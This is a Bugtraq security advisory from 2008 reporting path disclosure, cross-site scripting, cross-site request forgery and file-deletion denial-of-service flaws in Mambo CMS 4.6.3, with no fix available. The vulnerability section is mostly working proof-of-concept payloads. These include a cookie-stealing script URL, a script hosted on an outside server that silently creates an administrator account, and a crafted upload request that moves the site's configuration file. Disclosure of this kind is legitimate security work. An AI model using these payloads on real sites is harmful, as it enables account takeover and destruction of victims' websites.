bugtraq - Mambo 4.6.3 Path Disclosure, XSS , XSRF, DOS

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Date: Mon, 28 Jan 2008 17:17:22 +0330
From: admin@...report.ir
To: bugtraq@...urityfocus.com
Subject: Mambo 4.6.3 Path Disclosure, XSS , XSRF, DOS

########################## WwW.BugReport.ir #########################
#
#      AmnPardaz Security Research Team
#
# Title: Mambo Vulnerabilities
# Vendor: http://mamboserver.com
# Bugs: Path Disclosure, XSS , XSRF, DOS
# Vulnerable Version:4.6.3 (prior versions also may be affected)
# Exploitation: Remote with browser
# Fix Available: No!
################################################################

####################
- Description:
####################

Mambo is an, open source, modular, web content management system  
(CMS), written in Php with a MySql database in backend.

####################
- Vulnerability:
####################

+--> Path Disclosure
POC:  
http://localhost/MamboV4.6.3/mambots/editors/mostlyce/jscripts/tiny_mce/filemanager/connectors/php/connector.php?Command=RenameFile

+--> XSS
POC:  
http://localhost/MamboV4.6.3/mambots/editors/mostlyce/jscripts/tiny_mce/filemanager/connectors/php/connector.php?Command=<script>alert(document.cookie)</script>

+--> XSRF (the exploit creates an admin account)
POC:http://localhost/MamboV4.6.3/mambots/editors/mostlyce/jscripts/tiny_mce/filemanager/connectors/php/connector.php?Command=<script type=text/javascript  
src=http://somewhere/test.js></script>

content of http://somewhere/test.js

/*
Set desiered user, pass, email and victims url then upload the script  
somewhere on the web
*/

window.onload = function() {
var url   = 'http://localhost/MamboV4.6.2/administrator/index2.php';
var gid   = 25;
var user  = 'amnpardaz';
var pass  = 'amnpardaz';
var email = 'amnpardaz@...e.com';
var param = {

name:        user,
username:    user,
email:       email,
password:    pass,
password2:   pass,
gid:         gid,
block:       0,
option:      'com_users',
task:        'save',
sendEmail:   0

};

var form           = document.createElement('form');
form.action        = url;
form.method        = 'post';
form.target        = 'hidden';
form.style.display = 'none';

for (var i in param)
{
	try
	{ // ie
		var input = document.createElement('<input name="'+i+'">');
	}
	catch(e)
	{ // other browsers
		var input = document.createElement('input');
		input.name = i;
	}
	input.setAttribute('value', param[i]);
	form.appendChild(input);
}
document.body.appendChild(form);
form.submit();
location.replace(url);
}


+--> DOS
"mostlyce component" Image Manager note from mambo 4.6.3:
Important: In order to utilize the Image Manager functionality you  
must create the folder structure shown below in your document root  
folder.
Not your Mambo root, your document root! For this installation your  
document root is [something].
You can create this structure manually or extract the UserFiles.zip  
file included with MOStlyCE at that location.
You can find the UserFiles.zip file at /mambots/editors/mostlyce.

If an administrator follows up the above instruction,its possible for  
a remote attacker to remove any file from the remote server for  
example the main configuration file, which could result in remote  
denial of service!
The impact of the vulnerability increases when the administrator  
doesnt remove "installation" folder (its common to rename it to  
something predictable such as "_installation"),
in such a condition its possible for a remote attacker to delete  
configuration.php and install a new version of mambo on the victim  
server using remote database!


Code Snippet:

/mambots/editors/mostlyce/jscripts/tiny_mce/filemanager/connectors/php/Commands/FileUpload.php
#45-60
function run() {
		//If using CGI Upload script, get file info and insert into $_FILE array
		if 	(
				(sizeof($_FILES)==0) &&
				isset($_GET['file']) &&
				isset($_GET['file']['NewFile']) &&
				is_array($_GET['file']['NewFile'])
			) {
			if  
(isset($_GET['file']['NewFile']['name'])&&$_GET['file']['NewFile']['size']&&$_GET['file']['NewFile']['tmp_name'])  
{
				$_FILES['NewFile']['name']=basename(str_replace("\\","/",$_GET['file']['NewFile']['name']));
				$_FILES['NewFile']['size']=$_GET['file']['NewFile']['size'];
				$_FILES['NewFile']['tmp_name']=$_GET['file']['NewFile']['tmp_name'];
			} else {
				$disp="202,'Incomplete file information from upload CGI'";
			}
		}
		.
		.
		.
#163-178
//Upload file
if (is_uploaded_file($_FILES['NewFile']['tmp_name'])) {
if  
(move_uploaded_file($_FILES['NewFile']['tmp_name'],($this->real_cwd."/$filename.$ext")))  
{
chmod(($this->real_cwd."/$filename.$ext"),0777);
$disp="0";
} else {
$disp="202,'Failed to upload file, internal error...'";
}
} else {
if  
(rename($_FILES['NewFile']['tmp_name'],($this->real_cwd."/$filename.$ext")))  
{
chmod(($this->real_cwd."/$filename.$ext"),0777);
$disp="0";
} else {
$disp="202,'Failed to upload file, internal error...'";
}
}
.
.
.

POC:  
http://localhost/MamboV4.6.3/mambots/editors/mostlyce/jscripts/tiny_mce/filemanager/connectors/php/connector.php?Command=FileUpload&file=a&file[NewFile][name]=abc.gif&file[NewFile][tmp_name]=C:/path/to/MamboV4.6.2/configuration.php&file[NewFile][size]=1&CurrentFolder=


####################
- Credit :
####################
AmnPardaz Security Research Team
Contact: admin[4t}bugreport{d0t]ir
WwW.BugReport.ir
WwW.AmnPardaz.com